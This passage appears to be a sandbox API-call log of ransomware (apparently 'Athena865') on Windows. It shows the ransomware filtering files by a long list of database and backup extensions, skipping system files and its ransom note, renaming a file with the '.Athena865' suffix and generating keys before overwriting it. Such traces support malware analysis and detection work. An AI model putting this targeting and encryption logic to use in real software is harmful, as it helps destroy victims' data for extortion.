(lpString="rsd") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0113.779] lstrlenW (lpString="sas7bdat") returned 8 [0113.779] lstrcmpiW (lpString1="ORES.DLL", lpString2="sas7bdat") returned -1 [0113.779] lstrlenW (lpString="sbf") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0113.779] lstrlenW (lpString="scx") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0113.779] lstrlenW (lpString="sdb") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0113.779] lstrlenW (lpString="sdc") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0113.779] lstrlenW (lpString="sdf") returned 3 [0113.779] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0113.780] lstrlenW (lpString="sis") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0113.780] lstrlenW (lpString="spq") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0113.780] lstrlenW (lpString="te") returned 2 [0113.780] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0113.780] lstrlenW (lpString="teacher") returned 7 [0113.780] lstrcmpiW (lpString1="RES.DLL", lpString2="teacher") returned -1 [0113.780] lstrlenW (lpString="tmd") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0113.780] lstrlenW (lpString="tps") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0113.780] lstrlenW (lpString="trc") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0113.780] lstrlenW (lpString="trc") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0113.780] lstrlenW (lpString="trm") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0113.780] lstrlenW (lpString="udb") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0113.780] lstrlenW (lpString="udl") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0113.780] lstrlenW (lpString="usr") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0113.780] lstrlenW (lpString="v12") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0113.780] lstrlenW (lpString="vis") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0113.780] lstrlenW (lpString="vpd") returned 3 [0113.780] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0113.780] lstrlenW (lpString="vvv") returned 3 [0113.781] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0113.781] lstrlenW (lpString="wdb") returned 3 [0113.781] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0113.781] lstrlenW (lpString="wmdb") returned 4 [0113.781] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0113.781] lstrlenW (lpString="wrk") returned 3 [0113.781] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0113.781] lstrlenW (lpString="xdb") returned 3 [0113.781] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0113.781] lstrlenW (lpString="xld") returned 3 [0113.781] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0113.781] lstrlenW (lpString="xmlff") returned 5 [0113.781] lstrcmpiW (lpString1="S.DLL", lpString2="xmlff") returned -1 [0113.781] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.Athena865") returned 76 [0113.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.athena865"), dwFlags=0x1) returned 1 [0113.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.782] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=72521600) returned 1 [0113.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.783] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.783] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.783] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.784] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4529a80, lpName=0x0) returned 0x17c [0113.785] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x4400000, dwNumberOfBytesToMap=0x129a80) returned 0x2d50000 [0113.826] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0113.920] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0113.939] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.940] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.940] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.941] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0113.951] CloseHandle (hObject=0x17c) returned 1 [0113.951] CloseHandle (hObject=0x154) returned 1 [0113.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.959] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0113.959] lstrcmpiW (lpString1="msoshext.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0113.959] lstrcmpiW (lpString1="msoshext.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.959] lstrcmpiW (lpString1="msoshext.dll", lpString2=".") returned 1 [0113.959] lstrcmpiW (lpString1="msoshext.dll", lpString2="..") returned 1 [0113.959] lstrcmpiW (lpString1="msoshext.dll", lpString2="windows") returned -1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="bootmgr") returned 1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="temp") returned -1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="pagefile.sys") returned -1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="boot") returned 1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="ids.txt") returned 1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="ntuser.dat") returned -1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="perflogs") returned -1 [0113.960] lstrcmpiW (lpString1="msoshext.dll", lpString2="MSBuild") returned 1 [0113.964] lstrlenW (lpString="msoshext.dll") returned 12 [0113.964] lstrcpyW (in: lpString1=0x241e8b8, lpString2="msoshext.dll" | out: lpString1="msoshext.dll") returned="msoshext.dll" [0113.964] lstrlenW (lpString="msoshext.dll") returned 12 [0113.964] lstrlenW (lpString="Athena865") returned 9 [0113.964] lstrcmpiW (lpString1="shext.dll", lpString2="Athena865") returned 1 [0113.964] lstrlenW (lpString=".dll") returned 4 [0113.964] lstrcmpiW (lpString1="msoshext.dll", lpString2=".dll") returned 1 [0113.965] lstrlenW (lpString=".lnk") returned 4 [0113.965] lstrcmpiW (lpString1="msoshext.dll", lpString2=".lnk") returned 1 [0113.965] lstrlenW (lpString=".ini") returned 4 [0113.965] lstrcmpiW (lpString1="msoshext.dll", lpString2=".ini") returned 1 [0113.965] lstrlenW (lpString=".sys") returned 4 [0113.965] lstrcmpiW (lpString1="msoshext.dll", lpString2=".sys") returned 1 [0113.965] lstrlenW (lpString="msoshext.dll") returned 12 [0113.965] lstrlenW (lpString="bak") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0113.965] lstrlenW (lpString="ba_") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0113.965] lstrlenW (lpString="dbb") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0113.965] lstrlenW (lpString="vmdk") returned 4 [0113.965] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0113.965] lstrlenW (lpString="rar") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0113.965] lstrlenW (lpString="zip") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0113.965] lstrlenW (lpString="tgz") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0113.965] lstrlenW (lpString="vbox") returned 4 [0113.965] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0113.965] lstrlenW (lpString="vdi") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0113.965] lstrlenW (lpString="vhd") returned 3 [0113.965] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0113.965] lstrlenW (lpString="vhdx") returned 4 [0113.965] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0113.965] lstrlenW (lpString="avhd") returned 4 [0113.966] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0113.966] lstrlenW (lpString="db") returned 2 [0113.966] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0113.966] lstrlenW (lpString="db2") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0113.966] lstrlenW (lpString="db3") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0113.966] lstrlenW (lpString="dbf") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0113.966] lstrlenW (lpString="mdf") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0113.966] lstrlenW (lpString="mdb") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0113.966] lstrlenW (lpString="sql") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0113.966] lstrlenW (lpString="sqlite") returned 6 [0113.966] lstrcmpiW (lpString1="xt.dll", lpString2="sqlite") returned 1 [0113.966] lstrlenW (lpString="sqlite3") returned 7 [0113.966] lstrcmpiW (lpString1="ext.dll", lpString2="sqlite3") returned -1 [0113.966] lstrlenW (lpString="sqlitedb") returned 8 [0113.966] lstrcmpiW (lpString1="hext.dll", lpString2="sqlitedb") returned -1 [0113.966] lstrlenW (lpString="xml") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0113.966] lstrlenW (lpString="$er") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0113.966] lstrlenW (lpString="4dd") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0113.966] lstrlenW (lpString="4dl") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0113.966] lstrlenW (lpString="^^^") returned 3 [0113.966] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0113.967] lstrlenW (lpString="abs") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0113.967] lstrlenW (lpString="abx") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0113.967] lstrlenW (lpString="accdb") returned 5 [0113.967] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0113.967] lstrlenW (lpString="accdc") returned 5 [0113.967] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0113.967] lstrlenW (lpString="accde") returned 5 [0113.967] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0113.967] lstrlenW (lpString="accdr") returned 5 [0113.967] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0113.967] lstrlenW (lpString="accdt") returned 5 [0113.967] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0113.967] lstrlenW (lpString="accdw") returned 5 [0113.967] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0113.967] lstrlenW (lpString="accft") returned 5 [0113.967] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0113.967] lstrlenW (lpString="adb") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0113.967] lstrlenW (lpString="adb") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0113.967] lstrlenW (lpString="ade") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0113.967] lstrlenW (lpString="adf") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0113.967] lstrlenW (lpString="adn") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0113.967] lstrlenW (lpString="adp") returned 3 [0113.967] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0113.968] lstrlenW (lpString="alf") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0113.968] lstrlenW (lpString="ask") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0113.968] lstrlenW (lpString="btr") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0113.968] lstrlenW (lpString="cat") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0113.968] lstrlenW (lpString="cdb") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0113.968] lstrlenW (lpString="ckp") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0113.968] lstrlenW (lpString="cma") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0113.968] lstrlenW (lpString="cpd") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0113.968] lstrlenW (lpString="dacpac") returned 6 [0113.968] lstrcmpiW (lpString1="xt.dll", lpString2="dacpac") returned 1 [0113.968] lstrlenW (lpString="dad") returned 3 [0113.968] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0113.968] lstrlenW (lpString="dadiagrams") returned 10 [0113.968] lstrcmpiW (lpString1="oshext.dll", lpString2="dadiagrams") returned 1 [0113.968] lstrlenW (lpString="daschema") returned 8 [0113.968] lstrcmpiW (lpString1="hext.dll", lpString2="daschema") returned 1 [0113.968] lstrlenW (lpString="db-journal") returned 10 [0113.968] lstrcmpiW (lpString1="oshext.dll", lpString2="db-journal") returned 1 [0113.968] lstrlenW (lpString="db-shm") returned 6 [0113.968] lstrcmpiW (lpString1="xt.dll", lpString2="db-shm") returned 1 [0113.968] lstrlenW (lpString="db-wal") returned 6 [0113.968] lstrcmpiW (lpString1="xt.dll", lpString2="db-wal") returned 1 [0113.969] lstrlenW (lpString="dbc") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0113.969] lstrlenW (lpString="dbs") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0113.969] lstrlenW (lpString="dbt") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0113.969] lstrlenW (lpString="dbv") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0113.969] lstrlenW (lpString="dbx") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0113.969] lstrlenW (lpString="dcb") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0113.969] lstrlenW (lpString="dct") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0113.969] lstrlenW (lpString="dcx") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0113.969] lstrlenW (lpString="ddl") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0113.969] lstrlenW (lpString="dlis") returned 4 [0113.969] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0113.969] lstrlenW (lpString="dp1") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0113.969] lstrlenW (lpString="dqy") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0113.969] lstrlenW (lpString="dsk") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0113.969] lstrlenW (lpString="dsn") returned 3 [0113.969] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0113.969] lstrlenW (lpString="dtsx") returned 4 [0113.969] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0113.970] lstrlenW (lpString="dxl") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0113.970] lstrlenW (lpString="eco") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0113.970] lstrlenW (lpString="ecx") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0113.970] lstrlenW (lpString="edb") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0113.970] lstrlenW (lpString="epim") returned 4 [0113.970] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0113.970] lstrlenW (lpString="fcd") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0113.970] lstrlenW (lpString="fdb") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0113.970] lstrlenW (lpString="fic") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0113.970] lstrlenW (lpString="flexolibrary") returned 12 [0113.970] lstrlenW (lpString="fm5") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0113.970] lstrlenW (lpString="fmp") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0113.970] lstrlenW (lpString="fmp12") returned 5 [0113.970] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0113.970] lstrlenW (lpString="fmpsl") returned 5 [0113.970] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0113.970] lstrlenW (lpString="fol") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0113.970] lstrlenW (lpString="fp3") returned 3 [0113.970] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0113.971] lstrlenW (lpString="fp4") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0113.971] lstrlenW (lpString="fp5") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0113.971] lstrlenW (lpString="fp7") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0113.971] lstrlenW (lpString="fpt") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0113.971] lstrlenW (lpString="frm") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0113.971] lstrlenW (lpString="gdb") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0113.971] lstrlenW (lpString="gdb") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0113.971] lstrlenW (lpString="grdb") returned 4 [0113.971] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0113.971] lstrlenW (lpString="gwi") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0113.971] lstrlenW (lpString="hdb") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0113.971] lstrlenW (lpString="his") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0113.971] lstrlenW (lpString="ib") returned 2 [0113.971] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0113.971] lstrlenW (lpString="idb") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0113.971] lstrlenW (lpString="ihx") returned 3 [0113.971] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0113.971] lstrlenW (lpString="itdb") returned 4 [0113.972] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0113.972] lstrlenW (lpString="itw") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0113.972] lstrlenW (lpString="jet") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0113.972] lstrlenW (lpString="jtx") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0113.972] lstrlenW (lpString="kdb") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0113.972] lstrlenW (lpString="kexi") returned 4 [0113.972] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0113.972] lstrlenW (lpString="kexic") returned 5 [0113.972] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0113.972] lstrlenW (lpString="kexis") returned 5 [0113.972] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0113.972] lstrlenW (lpString="lgc") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0113.972] lstrlenW (lpString="lwx") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0113.972] lstrlenW (lpString="maf") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0113.972] lstrlenW (lpString="maq") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0113.972] lstrlenW (lpString="mar") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0113.972] lstrlenW (lpString="marshal") returned 7 [0113.972] lstrcmpiW (lpString1="ext.dll", lpString2="marshal") returned -1 [0113.972] lstrlenW (lpString="mas") returned 3 [0113.972] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0113.972] lstrlenW (lpString="mav") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0113.973] lstrlenW (lpString="maw") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0113.973] lstrlenW (lpString="mdbhtml") returned 7 [0113.973] lstrcmpiW (lpString1="ext.dll", lpString2="mdbhtml") returned -1 [0113.973] lstrlenW (lpString="mdn") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0113.973] lstrlenW (lpString="mdt") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0113.973] lstrlenW (lpString="mfd") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0113.973] lstrlenW (lpString="mpd") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0113.973] lstrlenW (lpString="mrg") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0113.973] lstrlenW (lpString="mud") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0113.973] lstrlenW (lpString="mwb") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0113.973] lstrlenW (lpString="myd") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0113.973] lstrlenW (lpString="ndf") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0113.973] lstrlenW (lpString="nnt") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0113.973] lstrlenW (lpString="nrmlib") returned 6 [0113.973] lstrcmpiW (lpString1="xt.dll", lpString2="nrmlib") returned 1 [0113.973] lstrlenW (lpString="ns2") returned 3 [0113.973] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0113.974] lstrlenW (lpString="ns3") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0113.974] lstrlenW (lpString="ns4") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0113.974] lstrlenW (lpString="nsf") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0113.974] lstrlenW (lpString="nv") returned 2 [0113.974] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0113.974] lstrlenW (lpString="nv2") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0113.974] lstrlenW (lpString="nwdb") returned 4 [0113.974] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0113.974] lstrlenW (lpString="nyf") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0113.974] lstrlenW (lpString="odb") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0113.974] lstrlenW (lpString="odb") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0113.974] lstrlenW (lpString="oqy") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0113.974] lstrlenW (lpString="ora") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0113.974] lstrlenW (lpString="orx") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0113.974] lstrlenW (lpString="owc") returned 3 [0113.974] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0113.974] lstrlenW (lpString="p96") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0113.975] lstrlenW (lpString="p97") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0113.975] lstrlenW (lpString="pan") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0113.975] lstrlenW (lpString="pdb") returned 3 [0113.975] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0113.975] lstrlenW (lpString="pdm") returned 3 [0113.975] 